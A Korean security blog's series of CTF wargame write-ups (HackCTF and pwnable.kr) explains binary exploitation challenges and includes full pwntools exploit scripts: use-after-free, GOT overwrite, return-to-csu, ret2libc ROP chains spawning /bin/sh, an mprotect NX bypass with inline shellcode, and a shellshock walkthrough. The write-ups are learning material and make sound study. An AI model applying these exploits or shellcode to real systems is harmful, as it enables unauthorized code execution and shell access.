H문제 파일을 보면 32비트 파일임을  확인할 수 있고, 보호기법을 확인하면 canary와 nx가 적용되어 있음을 확인할 수 있다.

파일을 실행시키면 노트 추가, 삭제, 출력 기능이 있는 것을 확인할 수 있다.

아이다로 사용된 함수들을 보면 다음과 같다. 

main 함수
add_note 함수
del_note 함수
print_note 함수
magic 함수

일단 system 함수로 flag를 출력하는 magic 함수를 호출하는것이 목적인거 같다. 

main 함수에서 사용자의 입력에 맞게 함수를 실행시켜 준다.

add_note 함수에서는 notelist 라는 전역변수 배열에 값이 있는지 확인하고, 없으면 8만큼 동적할당을 해준다. 그리고 notelist의 각 요소에 순서대로 입력한 크기만큼 동적할당을 해준다.

del_note 함수에서는 추가한 note를 삭제하면서 free를 해주고 있다. free할때는 먼저 배열의 요소에 할당한 메모리를, 그리고 그 배열 공간을 해제해준다.

print_note 함수에서 인덱스를 입력받고, 그 인덱스에 해당하는 note를 출력한다. 

del_note함수에서 free를 한 후 할당했던 메모리 공간을 초기화하지 않아서 UAF 취약점이 발생한다. 

add_note 함수에서 8을 동적할당해 줄 때 print_note_content 라는 함수 포인터를 할당하는 것을 확인할 수 있다. 

add_note 함수를 호출 하여 값을 입력한 후 bp를 잡고 메모리 영역을 확인해보면 다음과 같다. 

notelist 배열에 저장되어있는 주소값에  입력값이 저장된 주소를 갖고있고, 그 주소에 접근하면 입력된 값이 저장되어 있는 것을 확인할 수 있다. 그러나 free 이후에도 입력값을 저장하는 주소에 대한 값은 초기화되지 않는다.

따라서 notelist의 0x0966f160 자리에 magic함수 주소를 넣으면 magic 함수를 실행시킬 수 있다. 

free를 하면 함수포인터를 저장하기 위한 공간인 8바이트와 사용자가 입력한 크기가 해제되기 때문에 add_note를 두 번 호출한 후 만들어진 두 공간을 모두 해제하고, 8바이트를 할당하면 함수 포인터가 저장된 공간에 사용자 입력값이 들어가므로 입력값으로 magic 함수의 주소를 넣어 해당 함수를 실행시킬수 있다. 

이 과정을 익스 코드로 작성하면 다음과 같다.

'Security & Hacking > Wargame' 카테고리의 다른 글

[Hack CTF] Beginner_Heap  (0) 2021.10.18
[HackCTF] RTC  (0) 2021.10.06
[HackCTF] Yes or no  (0) 2021.08.23
[HackCTF] Look at me  (0) 2021.08.06
[HackCTF] RTL_Core  (0) 2021.07.30

문제 바이너리를 file 명령으로 확인해보면 64bit 바이너리이고, checksec 명령으로 확인하면 nx 보호기법만 있는 것을 확인할 수 있다. 

아이다에서 main 함수를 확인하면 다음과 같다. 

동적할당으로 v3(16 바이트), v3+1(8바이트), v4(16 바이트), v4+1(8바이트) 에 값을 할당하고 있고, 변수 s에 두 번 입력을 받고, s의 값을 strcpy함수로 v3+1, v4+1에 s의 값을 복사하는데, s에 입력받을 수 있는 값이 매우 크기 때문에 bof 취약점이 발생한다. 

또한 다음과 같이 0x400826에서 선언된 함수에서 flag를 출력하고 있다.

첫 번째 fgets 함수에서 v4+1까지 더미값을 채우고 main 함수에서 exit 함수를 실행하고 있으니, exit 함수의 got를 넣고, 다음 fgets 함수에서 플래그를 출력하는 함수의 주소를 넣으면 exit함수의 got가 플래그 실행함수의 주소로 써져서 exit를 실행할때 플래그를 출력할 수 있다. 더미값은 v4까지 16+8+16 = 40 바이트를 채운다. 

익스코드를 작성하면 다음과 같고, 실행하면 플래그를 얻을 수 있다.

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3016)
e = ELF("./beginner_heap.bin")


pay = "A" * 40
pay += p64(e.got["exit"])

p.sendline(pay)

pay = p64(0x400826)

p.sendline(pay)
p.interactive()

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] UAF  (0) 2021.11.12
[HackCTF] RTC  (0) 2021.10.06
[HackCTF] Yes or no  (0) 2021.08.23
[HackCTF] Look at me  (0) 2021.08.06
[HackCTF] RTL_Core  (0) 2021.07.30

문제 바이너리를 file 명령어로 확인하면 64비트 실행 파일임을 확인할 수 있다.

적용된 보호기법을 확인하면 다음과 같다. 

gdb로 main 함수를 확인하면 다음과 같다. 

write 함수와 read함수를 호출하고 있다. main 함수를 ida 헥스레이 기능으로 확인하면 다음과 같다. 

read 함수에서 bof 취약점이 발생한다. 

문제 이름이 RTC이기 때문에 RTC공격 기법으로 이 문제를 풀이할 것이다. RTC는 Return To Csu 라는 의미로 __libc_csu_init() 함수의 일부 코드를 가젯으로 이용하는 기술이다. 이를 통해 최대 3개 인자를 갖는 함수를 호출할 수 있다. 

objdump -M intel -d 명령으로 __libc_csu_init()함수의 어셈 코드를 확인할 수 있다. 

이 함수에서 가젯으로 사용하는 부분은 0x4006ba~0x4006c4(이하 stage1)과 0x4006a0~0x4006a9(이하 stage2) 부분을 사용한다. stage1은 pop~ret 형태로 되어 있어 공격자가 원하는 값(인자)을 레지스터에 넣을 수 있고, stage2에서 stage1에서 구성된 값으로 최대 3개의 인자를 가지고 함수를 호출할 수 있다. stage1에서 r12 ~ r14 레지스터에 각 인자들이 저장되고, r15레지스터에 함수 포인터가 저장된다. stage1을 설정할 땐 rbx는 0으로 설정하는 것이 좋다. stage2에서 [r12+rbx*8]연산을 할 때 rbx가 0이면 주소 계산이 더 쉬워진다.

RTC에서는 호출하고자 하는 함수의 got을 사용한다. 또한 바이너리 내에서 호출하지 않는 함수를 직접 호출하고 싶다면 쓰기 권한이 있는 메모리 영역에 호출할 함수의 주소를 쓰고, 함수 주소가 쓰여진 주소를 사용하여 호출해야 한다. 

처음 RTC로 stage2가 실행된 후 0x4006b1 주소에서 rbx와 rbp를 비교하여 같지 않으면  stage2를 다시 실행하고, 같으면 jne코드를 통과하여 stage1을 실행하며 RTC를 이어 나갈 수 있다. 

jne 코드를 넘어가고 stage1pop~ret gadget이 실행하기 전 add rsp, 0x8로 스택이 한 칸씩 줄어든다는 점을 고려 해야 한다.

 

이제 RTC를 이용하여 문제 바이너리를 익스플로잇할 시나리오를 생각해보면 먼저 write함수의 got 주소를 leak하고, bss 영역에 /bin/sh문자열을 쓰고, write got 주소에 execve 함수 주소를 쓴다. execve 함수 주소는 처음에 leak한 write함수 got주소를 이용해 libc base 주소를 구하여 구할 수 있다. 그리고 bss를 인자로 넣어 write got을 실행하면 그 부분에 execve 함수 주소가 쓰여져 있어 쉘을 딸 수 있게 된다. 이 시나리오 대로 익스플로잇 코드를 작성하면 다음과 같다. 

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3025)
e = ELF("./rtc")
libc = ELF("libc.so.6")

write_got = e.got["write"]
read_got = e.got["read"]
binsh = "/bin/sh\x00"
bss = e.bss()
s1 = 0x4006ba
s2 = 0x4006a0

p.recvuntil("?\n")

pay = "A" * 0x48
# leak write got
pay += p64(s1)
pay += p64(0)
pay += p64(1)
pay += p64(write_got)
pay += p64(8)
pay += p64(read_got)
pay += p64(1)
pay += p64(s2)

# write binsh
pay += p64(0)
pay += p64(0)
pay += p64(1)
pay += p64(read_got)
pay += p64(8)
pay += p64(bss)
pay += p64(0)
pay += p64(s2)

# write execve
pay += p64(0)
pay += p64(0)
pay += p64(1)
pay += p64(read_got)
pay += p64(8)
pay += p64(write_got)
pay += p64(0)
pay += p64(s2)

# execve("/bin/sh", 0, 0)
pay += p64(0)
pay += p64(0)
pay += p64(1)
pay += p64(write_got)
pay += p64(0)
pay += p64(0)
pay += p64(bss)
pay += p64(s2)

p.send(pay)

read = u64(p.recv(6).ljust(8, "\x00"))
print(hex(read))
lb = read - libc.symbols["read"]
execve = lb + libc.symbols["execve"]

pay = ""
pay += binsh
pay += p64(execve)

p.send(pay)
p.interactive()

 

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] UAF  (0) 2021.11.12
[Hack CTF] Beginner_Heap  (0) 2021.10.18
[HackCTF] Yes or no  (0) 2021.08.23
[HackCTF] Look at me  (0) 2021.08.06
[HackCTF] RTL_Core  (0) 2021.07.30

file 명령으로 문제 바이너리를 확인하면 64비트 바이너리임을 확인할 수 있다.

 checksec 명령으로 적용된 보호기법을 확인해보면 NX 미티게이션이 걸려 있는 것을 확인할 수 있다.

아이다로 문제 바이너리를 확인하면 다음과 같다.

처음에 변수 s에 입력받고 있고, 입력받은 값을 atoi 함수를 이용하여 정수형으로 변환하여 v10에 저장하고 있다. 그리고 35번째줄의 if문에서 연산한 값과 비교하여 if문을 통과하면 gets 함수로 입력을 받고 있는데, 여기서 bof가 발생한다.

if문의 비교하는 값은 gdb를 이용하여 확인할 수 있다.

위 어셈 코드에서 main+237의 cmp문이 gets함수를 실행시키기 위한 if문의 비교하는 부분이다. 따라서 저 위치에 bp를 걸고 실행시킨 후 rax의 값을 확인하면 if문을 통과할 수 있는 값을 얻을 수 있다.

RAX에 들어있는 값이 0x960000이므로 10진수로 9830400을 입력하면 if문의 조건을 만족시켜 gets()함수를 실행시킬 수 있다.

gets() 함수로 bof를 발생시켜 쉘을 실행시키기 위해서는 서버에서 실행되는 바이너리의 puts()함수의 주소를 구하고, 문제에서 주어진 libc 파일로 puts()함수 오프셋을 구하여 libc base 주소를 구하고, libc 파일에서 구한 system 함수의 오프셋과 /bin/sh문자열의 오프셋을 이용하여 서버의 주소값을 구해 넣어주면 된다. 또 문제 설명에서 18.04 버전으로 테스트 하였다는 설명이 있었기에 payload에 ret 주소를 추가 시켜줘야 한다.

payload에서 사용되는 pop ret 가젯과 ret 주소는 다음과 같이 ROPgadget명령을 이용하여 구할 수 있다.

나머지 plt, got 주소와 offset들은 pwntools의 기능들을 이용하여 구할 수 있다.

 

작성한 익스 코드는 다음과 같다.

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3009)
e = ELF("./yes_or_no")
libc = ELF("./libc-2.27.so")

puts_plt = e.plt['puts']
puts_got = e.got['puts']
puts_offset = libc.symbols['puts']
sys_offset = libc.symbols['system']
main = e.symbols['main']
binsh = list(libc.search("/bin/sh"))[0]
pr = 0x000000000400883
ret = 0x000000000040056e

p.sendlineafter("~!\n", "9830400")

pay = "A"*26
pay += p64(pr)
pay += p64(puts_got)
pay += p64(puts_plt)
pay += p64(main)

p.sendlineafter("me\n", pay)

puts_addr = u64(p.recv(6) + b"\x00\x00")
libc_base = puts_addr - puts_offset
sys_addr = libc_base + sys_offset
binsh_addr = libc_base + binsh

pay = "A"*26
pay += p64(pr)
pay += p64(binsh_addr)
pay += p64(ret)
pay += p64(sys_addr)

p.sendlineafter("~!\n", "9830400")
p.sendlineafter("me\n", pay)

p.interactive()

익스코드를 실행하면 다음과 같이 플래그를 얻을 수 있다.

'Security & Hacking > Wargame' 카테고리의 다른 글

[Hack CTF] Beginner_Heap  (0) 2021.10.18
[HackCTF] RTC  (0) 2021.10.06
[HackCTF] Look at me  (0) 2021.08.06
[HackCTF] RTL_Core  (0) 2021.07.30
[HackCTF] Random Key  (0) 2021.07.28

file 명령어로 문제 바이너리를 확인해보면 32비트 리눅스 실행파일임을 확인할 수 있다.

또한 statically linked 형식의 바이너리임을 확인할 수 있다. 따라서 함수 목록을 보면 매우 많은 함수들이 있는것도 확인할 수 있다.

checksec 명령으로 적용된 보호기법을 보면 nx가 적용되어 있는 것을 확인할 수 있다.

gdb로 main 함수를 확인하면 다음과 같다.

main 함수에서 look_at_me 라는 함수를 실행하고 있다. IDA 헥스레이로 main 함수와 look_at_me  함수를 확인하면 다음과 같다.

main 함수에서 look_at_me() 함수를 호출하고, look_at_me() 함수의 gets 함수에서 bof 취약점이 발생한다. 

nx 보호기법이 적용되어 있어서 쉘 코드 실행 권한도 없고, system 함수를 호출하는 부분도 없었다.

그러나 다음과 같이 mprotect 함수가 있는것을 확인할 수 있었다.

mprotect 함수는 메모리에 대한 접근을 제어하는 함수로 인자로 접근제어할 주소, 주소 기준으로 제어할 길이, 접근 제어 권한 3개의 인자를 받는다. mprotect 함수를 통해 접근제어되어 있는 메모리에도 권한을 부여할 수 있어서 nx 보호기법이 우회가 가능하다.

 

따라서 문제를 해결하기 위해  ROP기법을  이용하여 gets() 함수를 호출하여 .bss 영역에 쉘코드를 넣고 mprotect() 함수를 호출하여 .bss 영역에 실행권한을 주면 된다.

작성한 익스코드는 다음과 같다.

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3017)
e = ELF("./lookatme")

bss = e.bss()
bss000 = 0x80ea000
pr = 0x080bb0b8
pppr = 0x080bacfe
gets_addr = e.symbols['gets']
mprotect_addr = e.symbols['mprotect']
shell = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

pay = "A" * 28
pay += p32(gets_addr)
pay += p32(pr)
pay += p32(bss)

pay += p32(mprotect_addr)
pay += p32(pppr)
pay += p32(bss000)
pay += p32(10000)
pay += p32(7)
pay += p32(bss)

p.sendline(pay)
p.sendline(shell)
p.interactive()

mprotect 첫번째 인자로 000 으로 끝나는 주소를 사용하는 것은 mprotect 함수의 첫번째 인자 주소는 0x1000의 배수여야 하기 때문이다.

익스코드를 실행하면 다음과 같이 쉘을 딸 수 있다.

 

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] RTC  (0) 2021.10.06
[HackCTF] Yes or no  (0) 2021.08.23
[HackCTF] RTL_Core  (0) 2021.07.30
[HackCTF] Random Key  (0) 2021.07.28
[HackCTF] Poet  (0) 2021.07.27

file 명령어로 문제 바이너리를 확인해보면 32비트 실행파일임을 확인할 수 있다.

checksec 명령으로 적용된 보호기법들을 확인하면 다음과 같다.

바이너리를 실행시키면 다음과 같이 패스코드를 입력하라고 한다.

 

아이다 헥스레이 기능을 활용하여 main 함수를 확인하면 다음과 같다.

passcode를 입력 받고, 입력받은 값을 check_passcode 라는 함수에 넣어 함수의 리턴값과 hashcode값과 같으면 core 함수를 실행한다.

먼저 check_passcode 함수를 확인하면 다음과 같다.

check_passcode 함수는 매개변수 a1의 주소에 있는 값을 4바이트씩 5번 반복하면서 v2에 누적하고 v2를 반환한다. 

hashcode의 값은 다음과 같다.

따라서 main 함수의 조건문을 만족시키려면 0xc0d9b0a7 / 5 를 하면 0x2691f021가 나오고 나머지로 0x2가 나오기 때문에 0x2691f021를 4번 입력하고, 5번째는 0x2691f023을 입력하면 첫번째 조건문을 만족시킬 수 있다.

 

core 함수를 확인하면 다음과 같다.

dlsym()함수로 printf의 주소를 가져와 출력하고 read 함수를 리턴한다. buf의 크기는 0x3e 이지만 0x64만큼 읽기 때문에 bof가 발생하며 printf 주소를 활용하여 rtl 공격을 시도할 수 있다.

 

서버에서 익스를 성공하려면 서버의 libc 파일을 참조해야 하기 때문에 문제에서 제공해준 서버의 libc.so.6 파일을 이용하여 libc base 주소를 구하고, system 함수와 "/bin/sh"의 offset을 구하여 rtl 공격을 통해 쉘을 딸 수 있다.

payload는 0x3e + 4 만큼 채우고 system()함수의 주소를 넣고 4바이트 채우고 인자로 들어갈 "/bin/sh"문자열의 주소를 넣으면 된다. 따라서 다음과 같이 익스코드를 작성하여 실행하면 플래그를 얻을 수 있다.

from pwn import *

# p = process('./rtlcore')
p = remote('ctf.j0n9hyun.xyz', 3015)
libc = ELF('./libc.so.6')

printf_offset = libc.symbols['printf']
sys_offset = libc.symbols['system']
binsh_offset = list(libc.search('/bin/sh'))[0]

pay = p32(0x2691f021) * 4
pay += p32(0x2691f023)

p.sendline(pay)

p.recvuntil('0x')
printf_addr = int(p.recv(8), 16)

libcbase = printf_addr - printf_offset
sys_addr = libcbase + sys_offset
binsh_addr = libcbase + binsh_offset

pay = ''
pay += 'A' * 66
pay += p32(sys_addr)
pay += 'BBBB'
pay += p32(binsh_addr)

p.sendline(pay)
p.interactive()

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] Yes or no  (0) 2021.08.23
[HackCTF] Look at me  (0) 2021.08.06
[HackCTF] Random Key  (0) 2021.07.28
[HackCTF] Poet  (0) 2021.07.27
[HackCTF] RTL_World  (0) 2021.07.24

file 명령으로 문제 바이너리를 확인해보면 64비트 리눅스 실행파일임을 확인할 수 있다.

checksec 명령으로 확인해보면 nx 보호기법이 적용된 것을 확인할 수 있다.

random 바이너리를 실행해보면 다음과 같다.

ida 헥스레이 기능을 활용하여 main 함수를 확인하면 다음과 같다.

v5에 값을 입력받고, v5의 값과 v4의 값이 같다면 system() 함수로 flag를 출력한다. v4의 값은 현재 시간을 기준으로 난수를 저장한다.

따라서 서버시간과 동일하게 난수를 출력하는 코드를 짜서 실행하면 될 것 같다.

따라서 익스 코드는 다음과 같다.

#include <stdio.h>
#include <time.h>
#include <stdlib.h>

int main()
{
	int t = time(0);
	srand(t);
	int r = rand();
	printf("%d", r);
	return 0;
}

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] Look at me  (0) 2021.08.06
[HackCTF] RTL_Core  (0) 2021.07.30
[HackCTF] Poet  (0) 2021.07.27
[HackCTF] RTL_World  (0) 2021.07.24
[pwnable.kr] shellshock  (0) 2021.06.16

문제를 file 명령으로 확인해보면 64비트 바이너리임을 확인할 수 있다.

checksec명령으로 적용된 보호기법을 보면 nx 보호기법이 적용되어 있는 것을 확인할 수 있다.

 

ida 헥스레이를 활용하여 사용된 함수들을 보면 다음과 같다.

main 함수
get_poem 함수
get_author 함수
rate_poem 함수
reward 함수

main 함수를 보면 무한루프를 돌고 있고, dword_6024E0이 1000000이 될 경우 무한루프를 탈출하며 reward() 함수를 호출한다.

reward 함수에서는 flag.txt 값을 출력한다.

dword_6024E0의 값을 1000000으로 만들어 주면 될 것 같다.

 

위 함수들에서 bof를 터뜨릴 수 있는 함수는 get_poem 함수와 get_author 함수가 있다. 그러나 get_poem 함수는 gets()함수 호출 후 dword_6024E0을 0으로 초기화 하기 때문에 payload는 get_author 함수의 gets() 함수에 넣어야 할 것 같다.

 

get_author 함수의 어셈 코드는 다음과 같다.

0x6024a0의 위치에 입력을 받는다.

 

main 함수의 비교문을 보면 다음과 같다.

0x6024e0 의 값과 0xf4240(1000000)과 비교를 한다.

 

0x6024a0과 0x6024e0의 offset 차이는 64이다.

따라서 get_author 함수에서 입력값을 64만큼 더미값으로 채우고 1000000을 넣으면 조건문을 만족시킬 수 있을 것 같다.

다음과 같이 익스코드를 작성하면 문제를 해결할 수 있다.

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3012)

pay = 'A' * 64 + p64(1000000)

p.recvuntil('> ')
p.sendline('AAA')

p.recvuntil('> ')
p.sendline(pay)

p.interactive()

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] RTL_Core  (0) 2021.07.30
[HackCTF] Random Key  (0) 2021.07.28
[HackCTF] RTL_World  (0) 2021.07.24
[pwnable.kr] shellshock  (0) 2021.06.16
[pwnable.kr] input  (0) 2021.06.15

문제 바이너리를 실행시키면 위와 같이 Segmentation fault가 떠서 nc 서버에 직접 접속하여 문제의 동작을 확인하였다.

문제에 접속하면 위와 같은 화면이 나오며 1~6번까지의 번호를 선택할 수 있다.

file 명령어로 문제 바이너리를 확인해보면 32비트 실행파일임을 확인할 수 있다.

peda에서 checksec 명령으로 미티게이션을 확인해보면 nx가 걸려있다.

IDA로 문제 바이너리를 보면 다음과 같다.

main 함수를 보면 1번 선택시 바이너리에 적용된 미티게이션을 보여주고 있다.

2번 선택 시 Get_Money() 함수를 실행시키고 있다.

3번 선택 시 gold가 1999 이상이면 v6변수의 주소를 출력하는데, v6 변수의 주소는 system함수의 주소를 의미한다.

4번 선택시 gold가 2999 이상이면 s1의 주소를 출력하는데, s1의 주소는 "/bin/sh" 문자열의 위치를 의미한다. 

이 두 값을 통해 문제 이름처럼 rtl 공격을 시도할 수 있을 것 같다.

5번 선택시 read 함수로 buf에 값을 입력받는데,  buf의 크기는 128인데 그 이상의 값을 입력받으므로 bof가 발생한다. 

 

Get_Money() 함수는 다음과 같다.

main() 함수에서 2번을 선택시 실행되는 함수로 보여지는 것은 3번 메뉴까지 있는것처럼 보여지지만 4를 입력시 hidden number 을 입력했다고 출력하며 gold에 v2 값을 추가한다. v2는 rand()함수의 값으로 매우 큰 난수를 반환한다. 

 

따라서 이 문제를 해결하려면 main 함수에서 2번을 선택하고, 4번을 선택하여 gold 값을 키우고 그 값을 이용하여 main의 3,4번메뉴를 선택하여 system 함수의 주소와 "/bin/sh"의 주소를 구해 페이로드를 작성하여 5번 메뉴를 통해 페이로드를 전달하면 문제를 해결할 수 있을 것 같다.

작성한 익스 코드는 다음과 같다.

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3010)

# make money
p.sendlineafter('>>> ', '2')
p.sendlineafter('>>> ', '4')

# get system
p.sendlineafter('>>> ', '3')
p.recvuntil('System Armor : ')
sys_addr = int(p.recv(10), 16)

# get shell
p.sendlineafter('>>> ', '4')
p.recvuntil('Shell Sword : ')
shell_addr = int(p.recv(10), 16)

# payload
pay = ''
pay += 'A' * 144
pay += p32(sys_addr)
pay += 'B' * 4
pay += p32(shell_addr)

p.sendlineafter('>>> ', '5')
p.sendlineafter('> ', pay)
p.interactive()

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] Random Key  (0) 2021.07.28
[HackCTF] Poet  (0) 2021.07.27
[pwnable.kr] shellshock  (0) 2021.06.16
[pwnable.kr] input  (0) 2021.06.15
[HackCTF] BOF_PIE  (0) 2021.06.01

문제 설명을 보면 bash에 관한 충격적인 뉴스가 있다고 한다.
문제 서버에 접속하여 shellshock.c 파일을 보면 다음 코드와 같다.

#include <stdio.h>

int main()
{
	setresuid(getegid(), getegid(), getegid());
	setresgid(getegid(), getegid(), getegid());
	system("/home/shellshock/bash -c 'echo shock_me'");
	return 0;
}

system 함수로 bash 셸 스크립트로 shock_me를 출력하고 있다. 문제 설명에도 나와 있듯이 bash에 관한 취약점인것 같아서 bash 취약점을 키워드로 검색해보니 bash shellshock 취약점을 찾을 수 있었다.
환경변수와 함께 선언되는 함수 뒤에 원하는 명령어를 삽입할 수 있는 취약점이다.
환경변수를 설정할 때 (){ return; };처럼 함수를 설정하고 ; 뒤에 실행할 명령어를 입력하면 된다.


pwd 명령어를 실행하도록 입력하였더니 shellshock 에서 bash명령을 실행할 때 등록된 환경변수를 읽어와서 pwd명령을 실행한 결과를 보여준다. 따라서 다음과 같이 flag를 출력하도록 하고 ./shellshock를 실행하면 shellshock_pwn 계정의 권한으로 flag를 읽은 결과를 출력해준다.

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] Poet  (0) 2021.07.27
[HackCTF] RTL_World  (0) 2021.07.24
[pwnable.kr] input  (0) 2021.06.15
[HackCTF] BOF_PIE  (0) 2021.06.01
[LoS] golem  (0) 2021.05.19

+ Recent posts